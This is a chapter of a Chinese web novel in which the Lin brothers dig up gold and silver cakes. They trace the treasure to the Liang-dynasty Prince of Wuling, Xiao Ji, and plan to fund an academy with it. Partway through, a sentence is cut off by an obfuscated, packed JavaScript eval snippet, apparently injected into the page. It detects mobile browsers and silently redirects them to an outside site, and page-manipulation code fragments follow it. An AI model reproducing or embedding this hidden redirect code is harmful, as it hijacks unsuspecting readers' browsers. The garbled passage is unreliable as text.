“我是不是在做梦?”乍一见这许多金银,林四郎差点没站稳。
“我们是不是在石榴林里被女鬼使了术法起了幻觉啊?”林五郎使劲甩甩头,再看眼前景象依旧。
林二郎用折扇敲了林五郎的头,瞪了他一眼:“什么神神鬼鬼的!”
林易上前拿出一个金饼掂量,足有一斤重,再拿起银饼与之对比,金饼小了一圈,重量却差不多。
“都是一斤重,铸造工艺一致,应是同一批被造出来的。”林易得出结论。
大致数了最上面一层的数量,再看箱子的高度,约摸有五六百块。
林智灵光一闪,他们如今在蜀地,天正,一斤重的金饼和银饼,脱口而出道:“天正!南梁武陵王的天正!”
林易立马知道他说的是谁,追问道:“大哥说的是武陵王萧纪?”
林智点头。
林易略一思索,觉得极有可能。
“武陵王是谁?”林五郎帮其他人问出这个问题。
林智向他们讲起历史。
天下自汉朝末期便陷入战乱分割局面,魏晋时期短暂稳定,但还算不上大一统,尤其八王之乱后晋帝和世家大族南迁,天下再度四分五裂。
六朝时政权更迭频繁,在蜀地所属南朝政权中,宋灭晋,齐灭宋,梁又代齐,之后的南陈算是南朝的最后一朝。
只是在梁陈交际之时,北方政权西魏趁虚而入,夺取了川蜀之地。
南梁立国几十载,开国的梁武帝还未寿终正寝便有部下发动叛乱攻入都城,武帝被囚至死。
武帝时,派第八子武陵王萧纪到成都治理蜀地。他在蜀地期间,确实稳定了局面,十几年未曾出现过民乱,甚至往南开拓了疆域,将蜀地治理得相当繁荣,称得上是天府之国。
梁武帝死后,叛军立了简文帝为傀儡皇帝,又将之杀害。
萧纪不甘心只做刺史,想和当时已经称帝的兄长梁元帝争夺帝位,在成都自立为帝。
萧纪称帝后便要率大军东下攻灭元帝,元帝请求西魏援助,西魏遣大军直攻成都,但萧纪宁愿失去成都也要争夺正统,对魏军的进攻不管不顾。
为了激励麾下将士勇往直前,不思恋故乡,萧纪拿出经营多年的金银财宝,命人铸成一斤重的金饼一万个,银饼五万个。
出征前将这些金饼和银饼悬挂起来,允诺将士们立功者皆有奖励。
战争一开始,萧纪的军队在金银的激励下作战勇猛,毫不畏死,几次战斗下来都取得了胜利。
然而萧纪此时却不舍得多年积蓄就这么易主,一直未曾兑现诺言。
将士们多为蜀人,奖励拿不到手,家乡又即将陷落,人人思归,军心不稳。
萧纪无奈之下派人向元帝求和,谁知派去的臣子交了他的老底,直接让元帝不要讲和而要反攻,定能获胜。
这场战役的结果就是萧纪当场被杀,蜀地也落入西魏之手。
“天正便是武陵王萧纪称帝时的年号?”林大郎问道。
“是,算下来,这年号只用了两年,武陵王的帝位不被承认,知道这年号的人自然也不多。”
林智也是在国子监的藏书楼里偶然翻阅道一本记载梁史的书,这才知道得多一些。
“那这些金银饼便是武陵王所铸?为何会有一部分遗留在此地呢?”林易掂掂手中的金饼问道。
别说,一斤重的分量,拿在手里把玩还挺合适。
萧纪铸造一万块金饼,五万块银饼,这箱子里只有几百块,这部分又是怎么到了梓州的山里的?
林五郎眼前一亮:“是不是还有其他的还埋在地下?”
林易哭笑不得,说道:“傻孩子。武陵王从成都起兵,顺嘉陵江而下,之后往东行进,于瞿塘峡口与梁元帝开战,之后战败,大部分金银饼都进了元帝极其部下的口袋,怎么可能在这里?”
林智也说:“这些应是被武陵王的部将或者子孙带来的。”
史书没有记载武陵王有儿子部将逃出,但未必就是没有。
林二郎顺着他的话畅想:“他的部将或者儿子带着这些东西逃到了这里,也许还在那废庙里停留过,追兵将至,这些东西累赘,便先埋在山中待安全后再取出,却再没有机会。”
这些都是他的猜想,这样还尚算合理。
东西是怎么埋在这里的他们只能猜,但目前最大的问题是要如何处理这些金银。
“先将这两口箱子抬回瓷山那边,用车运到村里吧。”
林易说完,环视一圈,今日带来的人除了骆大武,其余都是签了死契的下人,事后敲打一番,施以恩惠,应当无人会泄密。
至于骆大武,面上无波无澜,得了吩咐正在削合适的木头做扁担,好将箱子抬出去。
林易暂且选择相信他。
财帛动人心,他已经给了骆大武丰厚的报酬,他应当也不会蠢到对这些金银动心思,否则东西拿到手了,却没有相应的本事守住,也是枉然。
经石榴林折返,一路上寂静极了,无人说话。
林易叹口气说道:“今日之事,千万不要对人说起。”
这是在交待孩子们。
几人也知道轻重,纷纷应是,林五郎还捂紧了嘴巴,逗笑了林易,氛围为之一松。
孩子们只是觉得这成箱的金饼银饼让人震撼,对金钱还没多少概念,平日里也不缺吃穿,年后家里更是开始每月给他们发月钱,林家湾能花钱的地方几乎没有,现在每个人手里都握着些钱。
对于要如何处置这些金银,自有大人操心呢,还轮不到他们来管。
路过废弃寺庙时,林智停下脚步,望着山顶佛塔而叹:“六朝时佛教兴盛,各处大兴寺庙。然时局动荡,大多毁于战火之中,到如今十不存一啊!”
这个林安澜知道,南朝四百八十寺,多少楼台烟雨中嘛!
林智也是突然有感而发,叹了一句也就继续赶路了。
回去的路不需要清理,但仆从们轮流抬着箱子走,速度也没有多快,待回到瓷山,天色已经暗下来。
身边有一箱金银在,林易和林智商议一番,决定由林智带人先回林家湾,林易画完下一批的瓷器便回家,那时他们再商议怎么处理。
是自己留下,还是送往官府。
现在脑子太乱,不宜做出决定,需要冷静一二再说。
草草吃些东西填肚子,林智便带人乘着车往村里赶,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403392|165485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那两口箱子自然也在。
林大郎惦记着夏收之事,也跟着一起走了。
其余人还想等着看瓷器开窑,便都留下了。
这一批瓷器的精品依旧很少,毕竟大家都是头一次在瓷器上作画,还不太熟练,之后最后画的几只还过得去。
吴月皎挑出自己和林智画的,再将那些有瑕疵的剔除,准备带回家去,哪怕不用,也能自己收藏。
林易则挑出两只品相最好的,准备和下一批的成品一起送到梓州城去试水。
他已经在梓州城盘下一间店铺,打算用来专营瓷器生意。除了自家烧制的,也可以买些别家的精品瓷器来卖,青花瓷则作为招牌品。
如今瓷山的规模注定青花瓷的产出不会太多,由于人手和资金受限,他打算慢慢来。
柴明提起过在邛州学艺时有关系好的陶瓷匠人,只是多年没有联系,林易便让他试着写信,看能不能邀请来几个。
青花瓷只是一个开始,后续还有许多种别具一格的瓷器需要人手研究呢。
大部队在瓷器出窑后次日便离开了,留下林易一个人,他一边给新制出来的瓷坯作画,一边指导柴吉学画。
画完这一批,给柴吉留了些作业,和柴明说好等这一批瓷器出窑他再来,就回了家。
经过几日沉淀,兄弟俩再面对这箱金银时已经能淡然处之。
林智已经数过,这箱子里共有一百块金饼,五百块银饼。
一斤便是十两,算下来是一千两金,五千两银。
“清远,你有什么想法?”林智问道。
林易已经想好,说道:“自然是留下来。”
“哦?可这不是正道所得。”林智拧眉。
“依大哥之见,送至官府?”
没等林智回答,林易接着又说:“若是这些金银能悉数用于民生,我当然没有二话。如果送到童山县衙,白县令在我们眼皮子底下不敢中饱私囊,这么大一笔银两,可梓州衙门知道了难免不会分一杯羹,到那时这些钱到底流入何方,你我又怎么能够知晓?”
林智眉头皱得更深,林易所说,正是他担心的地方。
“直接送到长安更是无需提,当今行事越发荒唐,他若直接划入自己的私库,最后还不是用来享乐。”
其实,林易还想过一一个选择,送往汉州。
汉王便是严氏之祸后最后的赢家,他登基后励精图治,极其重视民生,若是给他,或许能用到正道上。
但林易最后还是否决了,他和大哥好歹是做过官的,挖出了金银送去汉王府而非呈给天子,是嫌自己命太长还是觉得汉王过得太安逸?
如果真这么做了,这些金银还不等用到正道上,他们一家和汉王就先被皇帝给猜忌死了。
“可若是留下,这钱花着我心难安啊!”林智纠结不已。
君子爱财,取之有道。他家种田经商得来的钱,可以光明正大拿出来花用,这捡来的,他用着很心虚。
“大哥觉得,用这些钱建座书院如何?”林易提出想法。
“书院?”
“没错,就在那废庙之上建座书院,广招天下学子,传授圣贤之道,这些钱也不算我们私用。”